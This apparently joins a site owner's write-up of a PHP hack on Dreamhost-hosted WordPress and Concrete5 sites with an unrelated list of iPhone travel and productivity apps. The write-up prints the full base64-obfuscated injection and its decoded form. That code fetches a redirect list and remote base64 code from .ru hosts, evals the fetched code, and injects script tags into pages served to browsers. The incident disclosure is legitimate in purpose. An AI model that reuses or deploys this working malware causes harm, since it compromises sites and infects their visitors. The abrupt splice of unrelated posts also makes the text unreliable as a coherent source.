1. Scanned daily by WSD Security script
2. Multifactor authenticated with a Yubikey for all logins and edits
3. Weekly backup sent to offsite
4. Strong passwords across the board
5. Check for updates weekly and subscribe to security lists

As we say in the security world if you lock the doors, but leave the windows open your security is not that strong. Hence was the case with my hosted site here. I locked the doors, but dreamhost left wide-open the windows. I have been a paying customer since 2007 and will now be looking for a new host. Here is the hack below:

Every php file in the Concrete5 and WordPress installs included a new base64 script. This was to hide the true intent of the script to the naked eye (unless you read base64)

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDJWdWN6RXlNbnA2ZW1Sa1lYcDZMbU52YlM4PScpOyAkX1NFUlZFUlsnc19hMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDNkM2R5NWpiMjl3WlhKcWMzVjBaamd1Y25VdloxOXNiMkZrTG5Cb2NBPT0nKS4kZDsgJF9TRVJWRVJbJ3NfYTInXT1iYXNlNjRfZGVjb2RlKCdhSFIwY0RvdkwzZDNkeTV0Y25OdGRHbG9hVzVtYnk1eWRTOW5YMnh2WVdRdWNHaHcnKS4kZDsgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibmwucGhwP3A9ZCI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9Cg==”));?>

This script translated below shows that the script references ~/.logs for a file that pulls a list of sites that are redirected to for spam and linkbait:

if(function_exists(‘ob_start’)&&!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;    if(!function_exists(‘mrobh’)){    function get_tds_777($url){$content=”";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return ”;}  function trycurl_777($url){if(function_exists(‘curl_init’)===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result==”")return false;return $result;}  function tryfile_777($url){if(function_exists(‘file’)===false)return false;$inc=@file($url);$buf=@implode(”,$inc);if ($buf==”")return false;return $buf;}  function tryfopen_777($url){if(function_exists(‘fopen’)===false)return false;$buf=”;$f=@fopen($url,’r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf==”")return false;return $buf;}  function tryfsockopen_777($url){if(function_exists(‘fsockopen’)===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].’?’.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request =”GET $uri HTTP/1.0\n”;$request.=”Host: $host\n\n”;fwrite($f,$request);$buf=”;while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf==”")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function trysocket_777($url){if(function_exists(‘socket_create’)===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].’?’.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request =”GET $uri HTTP/1.0\n”;$request.=”Host: $host\n\n”;socket_write($sock,$request);$buf=”;while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf==”")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val==”")$val=get_tds_777($actual2);$f=@fopen($tdsfile,”w”);if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,”|||CODE|||”)){list($val,$code)=explode(“|||CODE|||”,$val);eval(base64_decode($code));}return $val;}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir.”log1.txt”;if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode(“\n”,$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;}  function is_mac_777($ua){$mac=0;if (stristr($ua,”mac”)||stristr($ua,”safari”))if ((!stristr($ua,”windows”))&&(!stristr($ua,”iphone”)))$mac=1;return $mac;}  function is_msie_777($ua){$msie=0;if (stristr($ua,”MSIE 6″)||stristr($ua,”MSIE 7″)||stristr($ua,”MSIE 8″)||stristr($ua,”MSIE 9″))$msie=1;return $msie;}    function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"].”/.logs/”;$mz=”/tmp/”;if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"].”/.logs/”;if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,”msnbot”)||stristr($ua,”Yahoo”))$bot=1;if (stristr($ua,”bingbot”)||stristr($ua,”google”))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1;  global $_SERVER;    $_SERVER['s_p1']=$mz;  $_SERVER['s_b1']=$bot;  $_SERVER['s_t1']=1200;  $_SERVER['s_d1']=base64_decode(‘aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=’); $_SERVER['s_a1']=base64_decode(‘aHR0cDovL3d3dy5jb29wZXJqc3V0ZjgucnUvZ19sb2FkLnBocA==’).$d; $_SERVER['s_a2']=base64_decode(‘aHR0cDovL3d3dy5tcnNtdGloaW5mby5ydS9nX2xvYWQucGhw’).$d; $d=’?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);   $_SERVER['s_script']=”nl.php?p=d”;  }      setup_globals_777();    if(!function_exists(‘gml_777′)){  function gml_777(){    $r_string_777=”;  if ($_SERVER['s_b1']==0)$r_string_777=’<script src=”‘.get_actual_tds_777().$_SERVER['s_script'].’”></script>’;  return $r_string_777;  }  }      if(!function_exists(‘gzdecodeit’)){  function gzdecodeit($decode){  $t=@ord(@substr($decode,3,1));  $start=10;  $v=0;  if($t&4){  $str=@unpack(‘v’,substr($decode,10,2));  $str=$str[1];  $start+=2+$str;  }  if($t&8){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&16){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&2){  $start+=2;  }  $ret=@gzinflate(@substr($decode,$start));  if($ret===FALSE){  $ret=$decode;  }  return $ret;  }  }  function mrobh($content){  @Header(‘Content-Encoding: none’);  $decoded_content=gzdecodeit($content);  if(preg_match(‘/\<\/body/si’,$decoded_content)){  return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml_777().”\n”.’$1′,$decoded_content);  }else{  return $decoded_content.gml_777();  }  }  ob_start(‘mrobh’);  }  }

Home Screen:

I use a few apps more than others. Those sit on my Home Screen for quick and easy access.

Talkatone: This app makes utilizing my Google Voice number abroad simple and free on wifi. The premium feature to use their compression (speex if you are curious) is well worth the 20 dollars. For an international traveler or someone watching their minutes usage it is a godsend.

BBC News: For quick easy access to the top news the BBC is hard to beat. In addition the streaming option built-in to the app lets me shower in whatever hotel room to the sound of English Speaking news.

Reeder: I use this app on my iPhone, iPad, and Macbook Air. It is my primary source for catching up on the 100′s of RSS feeds I read daily. Our business advantage at Spec Ops is the constant monitoring of whats new on the market. Reeder helps me do that by quickly downloading and caching my feeds for consumption in a taxi, metro, or airplane.

OmniFocus: With multiple customers, countries, and teams OmniFocus allows me to keep everything on target. The simple reminders app bundled with iOS is too limiting for these type of exercises. I wish the app was cheaper, but the sync for all my devices makes it worth it for the hardcore task list utilizer.

GV Connect: The Google Voice app for the iPhone stinks. GV Connect provides more options and more control of the experience. The only downfall is lack of push notifications. Sure you can make it happen, but its a tech nightmare. All that said it offers a consistent experience on the iPad and iPhone and integrates with Talkatone for true wifi integration.

Productivity:

VueScan: Sure AirPrint is nice, but most of the time I need to scan rather than print. VueScan does auto-discovery of many scanners via Wifi and performs well for both document feeders and flatbed. Works great for capturing that recent contract signing or bill.

DocsToGo: It is far from perfect for Office documents, but its the best I have found. It is a horrible application for production of things, but it is the only viewer I have found to correctly decipher powerpoint slides or excel spreadsheets. The Google Docs integration is great for using our central document store in the company.

Letter Opener: I hate you with every fiber of my body Outlook. Without a complex registry hack the default position of this stupid program is to include the dreaded winmail.dat file. Letter Opener takes care of those few times a week I receive these attachements from folks.

Skype: I use it for video and voice chatting with family and friends. We also use it internally to the company for PBX-like functions. The iOS version is actually a nice client compared to the desktop versions.

Projects: Merlin allows you to open Microsoft Project files on a Mac. I find its a better and easier solution than the OmniPlan product that seems so popular. I wish they didn’t nickel and dime for add-ons like mobile or web support, but I find the tool invaluable in keeping project plans updated.

WebEx: The best mobile conferencing solution for teleconferencing. The application is well integrated and upon clicking a link from a meeting invitation opens up and joins the conference. Performance over 3g is acceptable enough for talking and viewing the charts or presenters screen.

SpiderOak: People love some Dropbox, but for those of you security conscious there is no reason you should be. SpiderOak is less seamless and the sync process ugly, but once it is setup the dump files into a folder and sync mentality works fine. The mobile client just BARELY passes into usable for things, but it has saved my bacon for pulling some archived file from 4 years ago so I keep it loaded.

Finance:

QuickBooks: For living in the cloud and being able to get a snapshot of your company anywhere in the world, QuickBooks is hard to beat. The reports on the mobile version are limited, but for seeing outstanding invoices, payroll, or P/L ratio from your mobile device it comes highly recommended.

E*Trade: Simple app for access to their banking and trading features. Nothing to knock your socks off.

Mint.com: Personal finance on the go is as important as the business side. Mint lets me see cash-flow and bills in my personal realm. The ability to sort expenses and see when things hit make managing my money abroad no problem. Great little app.

Expensify: How much do I love this app… Receipts tucked into your wallet is for the birds. Expensify’s mobile app lets me take a snapshot offline or online and upload it to my most recent travel report. It has changed the way our company has managed the extensive worldwide travel. Why this isn’t in use by every major company is beyond me.

USAA: Love this app more than Expensify. Insurance, banking, investments, bill payment all from a simple to use app. Being able to deposit checks anywhere in the world is icing on the cake. This app is what all banking apps should strive for. USAA checking and savings no longer requires military service so if you are considering moving banks, recommend highly you consider USAA.

Bank of America: What a difference compared to USAA. We use this for our business banking (as USAA has no business accounts) and frankly I avoid it like the plague. App is limited and ugly, hard to navigate, and really we use

Travel:

TripIt: Internally to the company we use TripIt to determine where the hell everyone is at. With autoimport and the ability to simply forward things to plans@tripit.com our team is able to get a view of where everyone is at. In addition the app lets you check flight status or get directions to the hotel/train/etc. Great app, but it is upsetting that paid TripIt accounts does not translate into no ads in the application.

Yelp: When you are all over the place its hard to figure out where to eat. Yelp works well enough for big European cities and the US, but falls flat in rural anywhere. All the same its good for when you grow tired of the 2 restaurants near the hotel or the ones you ate at last time you were there.

Boingo: I avoid airports without free Wifi. The idea that I have to pay 10 EURO or USD an hour to surf at limited speeds is evil. With that said there are airport hubs like Munich and Frankfurt that force it. Boingo mobile is cheaper and I can be assured that the 10 USD I spend will transfer to other places unlike T-mobile’s German wifi credits.

Navigon: Offline GPS that works! Data is too expensive to use it finding directions. Navigon at one point was cheap, but is now pretty expensive. With that said it works great and has an extensive map collection (if you shell the dollars out) that covers most of the places I go. Still can’t wrap my head around why European maps are 119.99 dollars vs. 59.99 for the much more extensive US, but oh well. It can be a little confusing for entering POI and address, but once you are over the learning curve its usable.

Kayak: Love me some Kayak! Its flexible search criteria and multiple vendors pricing makes finding the cheapest tickets easy and quick. App is perfect for finding an alternate flight when you are in Dubai and need to get home or to your next meeting.

Skype Wifi: Wifi credits for those few places that Boingo doesn’t cover. I alternate between these two Wifi apps as the Skype credits are more expensive, but also transfer to my laptop.

OpenTable: Reservations on the go. This will sound incredibly anti-social, but there are times I don’t want to talk to someone. Business meeting for a 4 booked while walking to the metro station.

XE Currency: How much is that hotel really? Is the price in Euro’s or Pounds more than the USD price? It has saved me a few bucks by helping me sanity check stores and venues. Converts quickly and allows for historical looks at exchange rates for expense reports.

Orbitz: Sometimes Kayak is tough to drill down and book a flight with. Orbitz abstracts away those problems and makes it easy to build a travel package (car, hotel, flight) without much work. Okay app, but very clunky and for lots of features just dumps you to their mobile website.

Transportation:

I have to seperate these apps out of the Travel folder as iOS limits the number I can place in each. The jailbreak hack to get around that seems to be buggy so I just move apps related to transportation here. When I go to other countries I will load up the France, UK, etc. versions, but for now this is what I am using.

Fahrinfo: Out of the two German train apps listed in this folder, Fahrinfo is far superior. The app is more intuitive and English friendly. This is possibly due to the fact there are more english speakers in Berlin.

Navi S-Bahn Munchen: The train system in Munich is pretty spiffy, but the schedules and announcements are not English friendly. This app helps me learn about train delays or track closures.

Railway NL: The app is pretty to look at and does its job, but you better speak Dutch. There is no translation of this app into English despite the App Store description being in English. If you are riding the train in the Netherlands this is a must have.

KLM: Meh is how I feel about this app. It works for tracking miles on my account, trips, and bookings. The app works and is at the very least makes my mad dashes through Schiphol well planned. In the end its MUCH better than the United app listed next.

United: What a cluster frack of a GUI. The app allows you to setup alerts and check-in, but heaven forbid there is a problem. The buttons are difficult to hit with a finger and the gimmicky animations just slow down what is a desired quick information dump. The merger has been unfriendly to the airline and in addition the app.

Parkmobile: I don’t carry money anymore. The idea of a pocket full of rattling coins doesn’t work for me. This app has changed the way I park in DC. With its ability to auto alert me of my soon to end parking payment I am able to skip the standard DC 25 USD ticket and just add time. The Find My Car is a neat feature too for those times you have wandered a little too far from what you know. Works in multiple US cities around the country.

Amtrak: I rarely use Amtrak due to it sucking wind, but I do like to compare fares when deciding if its going to be plane, train, or automobile. I will shy away from comparisons with the European train system (cheaper, faster, reliable, etc.) and instead say the app is pretty nice. It is well organized and easy to get to the information you need on booking a train. Still very limited for eTickets, but as I understand that feature is expanding to new sites soon.

Tunnels DC: There are tons of DC Metro apps, but this one is the nicest of the bunch. The alerts, favorite locations, and ability to see when the next few trains are due to arrive is instrumental in planning your day around the city.

SWISS: I find the app ugly in appearance, but multilingual and quick to navigate. The mobile boarding passes work as described and it allows you to receive trip and flight status updates. Nothing to write home about.

Lufthansa: Airlines need to hire whoever developed this app ASAP. It is pretty on the eyes and useable. The functions are limited (check-in and mobile passes only) but with each new release expanding.

Personal:

These are apps that are not business related, but keep me sane and plugged in. Listed to round-out the list:

JetPack Joyride: Love this stinking game. The translation from iPad to iPhone is seamless.

Rdio: Limited, sucky, and to the point I am going to switch to Spotify. Works well enough, but unimpressive.

Pandora: Love the app and service.

Flight Control: Fun game that seems appropriate to play while flying. Hope the ATC in real life are better at this than me.

Facebook: Buggy and limited, but it gives you access to the majority of the functions the website does. For keeping in touch around the world its wonderful.

LinkedIn: For professional engagements and resume searching it is pretty spiffy. I am not a big fan of the UI, but for answering messages and connecting with business folks its good enough. The import of contract information into your iphone address book is a great addition.

BeejiveIM: Bought it back when IM with push was an infant on the iPhone. We utilize Jabber internally and it works well enough for that. Meta-contact support is nice for filtering multiple networks into a single line item. The offline and push support are hit or miss so don’t depend on it for anything mission critical.

Instagram: I see a lot of nifty things around the world, but take crappy pictures. Filters add a little flair that almost convinces people I have an artistic side. Like the social aspect in the app a lot too.

Twitter: Quality of this app has gone WAY WAY down in recent releases. On the prowl for something less sucky, but for now it works.

TimeTuner: Sometimes it is hard for me to shutoff the brain when I am in hotel rooms. I use TimeTuner to listen to my favorite news stations from around the world and have them shutoff in a set amount of time. The app is pretty and the dim functions are useful. I purchased this ages ago when there were few apps like it. If I was on the market today I might look elsewhere as the developer has slowed down greatly on fixes and updates.

DVPRemote: I can never find the darn remote when we are watching TV, but I always have the phone or iPad nearby. The remote is better for navigating than the one supplied with the device. If you have a Roku I consider this a much purchase. Also fun if you have a VPN to your house to change the TV when someone is watching it from Germany and freak them out :)

Netflix: This plus my home server VPN and I have netflix from any country in the world. App works well enough.

 Hulu Plus: I swear there is a conspiracy on the lack of AirPlay support for this app between Hulu and Apple. Other than that as I said in the Netflix section it at least allows viewing TV shows when in foreign places.

IP Cam Viewer: I am not home a lot, but this app and the camera setup around my property allow me to keep an eye on things.

